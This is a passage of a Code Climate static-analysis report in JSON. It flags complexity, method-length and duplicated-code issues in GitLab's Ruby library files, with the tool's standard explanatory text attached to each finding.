[Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parse_data` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"19a8edffd98f8988b199c80f6919a68a","location":{"path":"lib/gitlab/git/attributes_parser.rb","lines":{"begin":91,"end":108}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `update_page` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"cc6e53b3d35661118499e22b31c33048","location":{"path":"lib/gitlab/git/wiki.rb","lines":{"begin":41,"end":41}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `gitaly_update_page` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"29ae202c7d73dff34ed176c4c489e03c","location":{"path":"lib/gitlab/git/wiki.rb","lines":{"begin":139,"end":139}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Wiki` has 25 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"16108ddc899f6bed5535bed2d4dbd403","location":{"path":"lib/gitlab/git/wiki.rb","lines":{"begin":3,"end":166}},"other_locations":[],"remediation_points":1700000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `initialize` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"992ce430fa1cfa75fffb04b791835530","location":{"path":"lib/gitlab/git/compare.rb","lines":{"begin":8,"end":22}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `commit.rb` has 261 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"b0e8a3e8bec1d1e4d61a4ca6961eee37","location":{"path":"lib/gitlab/git/commit.rb","lines":{"begin":2,"end":421}},"other_locations":[],"remediation_points":1358400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `find` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d2501d4f37da4c3f3bfc13d8ddefb8b1","location":{"path":"lib/gitlab/git/commit.rb","lines":{"begin":52,"end":72}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Commit` has 48 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"5c05f17b105a544fbb7b1e653e4e9622","location":{"path":"lib/gitlab/git/commit.rb","lines":{"begin":4,"end":419}},"other_locations":[],"remediation_points":4000000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `each_serialized_patch` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"489c6b7588d70b32aa203aa6c41632df","location":{"path":"lib/gitlab/git/diff_collection.rb","lines":{"begin":120,"end":152}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"argument_count","content":{"body":""},"description":"Method `between` has 5 arguments (exceeds 4 allowed). Consider refactoring.","fingerprint":"4c22ec0e0d894fff0c7dd7383e7e90f2","location":{"path":"lib/gitlab/git/diff.rb","lines":{"begin":31,"end":31}},"other_locations":[],"remediation_points":375000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `process_raw_blame` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"c5cb9f5c58bb1d9925a29d6754967c20","location":{"path":"lib/gitlab/git/blame.rb","lines":{"begin":30,"end":56}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `in_lock` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"68b34982cd05d58d79738b15c96f20f7","location":{"path":"lib/gitlab/exclusive_lease_helpers.rb","lines":{"begin":12,"end":27}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `run_check` has a Cognitive Complexity of 18 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d86f72edc80623f2c31df045a73c54a3","location":{"path":"lib/system_check/simple_executor.rb","lines":{"begin":45,"end":82}},"other_locations":[],"remediation_points":1450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `run_check` has 27 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"32ee25468fc9ba9255e373bf8565a409","location":{"path":"lib/system_check/simple_executor.rb","lines":{"begin":45,"end":82}},"other_locations":[],"remediation_points":648000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `dump` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"90c4b195bc0f9e6e440c936a49f66db4","location":{"path":"lib/backup/database.rb","lines":{"begin":14,"end":48}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `dump` has 28 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"e224fd061ebe87897322d771a18ed4f9","location":{"path":"lib/backup/database.rb","lines":{"begin":14,"end":48}},"other_locations":[],"remediation_points":672000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `dump` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7e1d28a077c128dd08f453c105fdd9df","location":{"path":"lib/backup/repository.rb","lines":{"begin":11,"end":39}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `restore` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8c618e2d28195eb4c364400e1b377f3f","location":{"path":"lib/backup/repository.rb","lines":{"begin":74,"end":119}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `restore` has 38 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"dce1e21850a52796bdc54dd0352fef39","location":{"path":"lib/backup/repository.rb","lines":{"begin":74,"end":119}},"other_locations":[],"remediation_points":912000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `cleanup` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"df1565e2084a026c19a57df20f8c1dab","location":{"path":"lib/backup/manager.rb","lines":{"begin":59,"end":72}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `remove_old` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"25cd2cf6fbb64afd366f3be6ab9d89fd","location":{"path":"lib/backup/manager.rb","lines":{"begin":74,"end":107}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `unpack` has a Cognitive Complexity of 17 (exceeds 5 allowed). Consider refactoring.","fingerprint":"67d7ec9e6873944629ee60ae0c82b98f","location":{"path":"lib/backup/manager.rb","lines":{"begin":110,"end":161}},"other_locations":[],"remediation_points":1350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `Manager` has 21 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"c011f3bde58a57c5c1b310f99fdde1e8","location":{"path":"lib/backup/manager.rb","lines":{"begin":2,"end":247}},"other_locations":[],"remediation_points":1300000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `unpack` has 41 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"0f4697ee5870ab55f0f0482a90f0aafe","location":{"path":"lib/backup/manager.rb","lines":{"begin":110,"end":161}},"other_locations":[],"remediation_points":984000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `decoded` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"9d399e9cd55ad1c8999c18172266e16d","location":{"path":"lib/omni_auth/strategies/jwt.rb","lines":{"begin":37,"end":51}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `class_for_class` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"44146c776b1d2705ab1e91d14f931ca6","location":{"path":"lib/declarative_policy.rb","lines":{"begin":62,"end":74}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `compute_class_for_class` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"504ef7ee6e8fa9917bb219a3ce5a6531","location":{"path":"lib/declarative_policy.rb","lines":{"begin":76,"end":93}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/auth/ldap/dn.rb","lines":{"begin":23,"end":298}},"remediation_points":14090000,"other_locations":[{"path":"lib/gitlab/background_migration/normalize_ldap_extern_uids_range.rb","lines":{"begin":18,"end":293}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 722**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1672855f6e5f2e5e61f5f47620f50c44","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"identical-code","description":"Identical blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/background_migration/normalize_ldap_extern_uids_range.rb","lines":{"begin":18,"end":293}},"remediation_points":14090000,"other_locations":[{"path":"lib/gitlab/auth/ldap/dn.rb","lines":{"begin":23,"end":298}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 722**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"08b04488cb6c1d433518d22f9fd7ac22","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 6 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":8,"end":20}},"remediation_points":1270000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":38,"end":38}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":45,"end":45}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":65,"end":65}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":73,"end":73}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":96,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d3612d232382cae9828e7733da5a69ff","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 6 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":38,"end":38}},"remediation_points":1270000,"other_locations":[{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":8,"end":20}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":45,"end":45}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":65,"end":65}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":73,"end":73}},{"path":"lib/gitlab/sanitizers/svg/whitelist.rb","lines":{"begin":96,"end":96}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 81**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d3612d232382cae9828e7733da5a69ff","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 6 locations. Consider 